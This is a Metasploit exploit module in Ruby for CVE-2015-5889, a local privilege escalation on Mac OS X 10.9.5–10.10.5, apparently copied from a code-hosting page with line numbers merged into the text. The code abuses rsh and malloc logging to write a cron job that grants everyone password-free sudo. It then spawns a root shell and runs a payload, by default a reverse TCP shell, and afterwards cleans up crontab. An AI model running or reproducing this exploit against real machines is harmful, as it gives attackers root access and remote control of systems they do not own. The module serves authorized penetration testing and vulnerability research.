Path: blob/master/modules/exploits/osx/local/rsh_libmalloc.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = NormalRanking78include Msf::Post::File9include Msf::Post::OSX::Priv10include Msf::Post::OSX::System11include Msf::Exploit::EXE12include Msf::Exploit::FileDropper1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Mac OS X 10.9.5 / 10.10.5 - rsh/libmalloc Privilege Escalation',19'Description' => %q{20This module writes to the sudoers file without root access by exploiting rsh and malloc log files.21Makes sudo require no password, giving access to su even if root is disabled.22Works on OS X 10.9.5 to 10.10.5 (patched on 10.11).23},24'Author' => [25'rebel', # Vulnerability discovery and PoC26'shandelman116' # Copy/paste AND translator monkey27],28'References' => [29['EDB', '38371'],30['CVE', '2015-5889']31],32'DisclosureDate' => '2015-10-01',33'License' => MSF_LICENSE,34# Want to ensure that this can be used on Python Meterpreter sessions as well35'Platform' => ['osx', 'python'],36'Arch' => [ARCH_X64, ARCH_PYTHON],37'SessionTypes' => ['shell', 'meterpreter'],38'Privileged' => true,39'Targets' => [40['Mac OS X 10.9.5-10.10.5', {}]41],42'DefaultTarget' => 0,43'DefaultOptions' => {44'PAYLOAD' => 'osx/x64/shell_reverse_tcp'45},46'Notes' => {47'Reliability' => UNKNOWN_RELIABILITY,48'Stability' => UNKNOWN_STABILITY,49'SideEffects' => UNKNOWN_SIDE_EFFECTS50}51)52)5354register_options [55OptInt.new('WaitTime', [true, 'Seconds to wait for exploit to work', 60]),56OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])57]58end5960def base_dir61datastore['WritableDir'].to_s62end6364def exploit65if is_root?66fail_with Failure::BadConfig, 'Session already has root privileges'67end6869unless writable? base_dir70fail_with Failure::BadConfig, "#{base_dir} is not writable"71end7273# Check OS74os_check7576# Check if crontab file existed already so it can be restored at cleanup77if file_exist? "/etc/crontab"78@crontab_original = read_file("/etc/crontab")79else80@crontab_original = nil81end8283# Writing payload84if payload.arch.include?(ARCH_X64)85vprint_status("Writing payload to #{payload_file}.")86write_file(payload_file, payload_source)87vprint_status("Finished writing payload file.")88register_file_for_cleanup(payload_file)89elsif payload.arch.include?(ARCH_PYTHON)90vprint_status("No need to write payload. Will simply execute after exploit")91vprint_status("Payload encodeded is #{payload.encoded}")92end9394# Run exploit95sploit9697# Execute payload98print_status('Executing payload...')99if payload.arch.include?(ARCH_X64)100cmd_exec("chmod +x #{payload_file}; #{payload_file} & disown")101elsif payload.arch.include?(ARCH_PYTHON)102cmd_exec("python -c \"#{payload.encoded}\" & disown")103end104vprint_status("Finished executing payload.")105end106107def os_check108# Get sysinfo109sysinfo = get_sysinfo110# Make sure its OS X (Darwin)111unless sysinfo["Kernel"].include? "Darwin"112print_warning("The target system does not appear to be running OS X!")113print_warning("Kernel information: #{sysinfo['Kernel']}")114return115end116# Make sure its not greater than 10.5 or less than 9.5117version = sysinfo["ProductVersion"]118minor_version = version[3...version.length].to_f119unless minor_version >= 9.5 && minor_version <= 10.5120print_warning("The target version of OS X does not appear to be compatible with the exploit!")121print_warning("Target is running OS X #{sysinfo['ProductVersion']}")122end123end124125def sploit126user = cmd_exec("whoami").chomp127vprint_status("The current effective user is #{user}. Starting the sploit")128# Get size of sudoers file129sudoer_path = "/etc/sudoers"130size = get_stat_size(sudoer_path)131132# Set up the environment and command for spawning rsh and writing to crontab file133rb_script = "e={\"MallocLogFile\"=>\"/etc/crontab\",\"MallocStackLogging\"=>\"yes\",\"MallocStackLoggingDirectory\"=>\"a\n* * * * * root echo \\\"ALL ALL=(ALL) NOPASSWD: ALL\\\" >> /etc/sudoers\n\n\n\n\n\"}; Process.spawn(e,[\"/usr/bin/rsh\",\"rsh\"],\"localhost\",[:out, :err]=>\"/dev/null\")"134rb_cmd = "ruby -e '#{rb_script}'"135136# Attempt to execute137print_status("Attempting to write /etc/crontab...")138cmd_exec(rb_cmd)139vprint_status("Now to check whether the script worked...")140141# Check whether it worked142crontab = read_file("/etc/crontab")143vprint_status("Reading crontab yielded the following response: #{crontab}")144unless crontab.include? "ALL ALL=(ALL) NOPASSWD: ALL"145vprint_error("Bad news... it did not write to the file.")146fail_with(Failure::NotVulnerable, "Could not successfully write to crontab file.")147end148149print_good("Succesfully wrote to crontab file!")150151# Wait for sudoers to change152new_size = get_stat_size(sudoer_path)153print_status("Waiting for sudoers file to change...")154155# Start timeout block156begin157Timeout.timeout(datastore['WaitTime']) {158while new_size <= size159Rex.sleep(1)160new_size = get_stat_size(sudoer_path)161end162}163rescue Timeout::Error164fail_with(Failure::TimeoutExpired, "Sudoers file size has still not changed after waiting the maximum amount of time. Try increasing WaitTime.")165end166print_good("Sudoers file has changed!")167168# Confirming root access169print_status("Attempting to start root shell...")170cmd_exec("sudo -s su")171user = cmd_exec("whoami")172unless user.include? "root"173fail_with(Failure::UnexpectedReply, "Unable to acquire root access. Whoami returned: #{user}")174end175print_good("Success! Acquired root access!")176end177178def get_stat_size(file_path)179cmd = "env -i [$(stat -s #{file_path})] bash -c 'echo $st_size'"180response = cmd_exec(cmd)181vprint_status("Response to stat size query is #{response}")182begin183size = Integer(response)184return size185rescue ArgumentError186fail_with(Failure::UnexpectedReply, "Could not get stat size!")187end188end189190def payload_source191if payload.arch.include?(ARCH_X64)192return Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)193elsif payload.arch.include?(ARCH_PYTHON)194return payload.encoded195end196end197198def payload_file199@payload_file ||= "#{base_dir}/#{Rex::Text.rand_text_alpha(8)}"200end201202def cleanup203vprint_status("Starting the cron restore process...")204super205# Restore crontab back to is original state206# If we don't do this, then cron will continue to append the no password rule to sudoers.207if @crontab_original.nil?208# Erase crontab file and kill cron process since it did not exist before209vprint_status("Killing cron process and removing crontab file since it did not exist prior to exploit.")210rm_ret = cmd_exec("rm /etc/crontab 2>/dev/null; echo $?")211if rm_ret.chomp.to_i == 0212vprint_good("Successfully removed crontab file!")213else214print_warning("Could not remove crontab file.")215end216Rex.sleep(1)217kill_ret = cmd_exec("killall cron 2>/dev/null; echo $?")218if kill_ret.chomp.to_i == 0219vprint_good("Succesfully killed cron!")220else221print_warning("Could not kill cron process.")222end223else224# Write back the original content of crontab225vprint_status("Restoring crontab file back to original contents. No need for it anymore.")226cmd_exec("echo '#{@crontab_original}' > /etc/crontab")227end228vprint_status("Finished the cleanup process.")229end230end231232233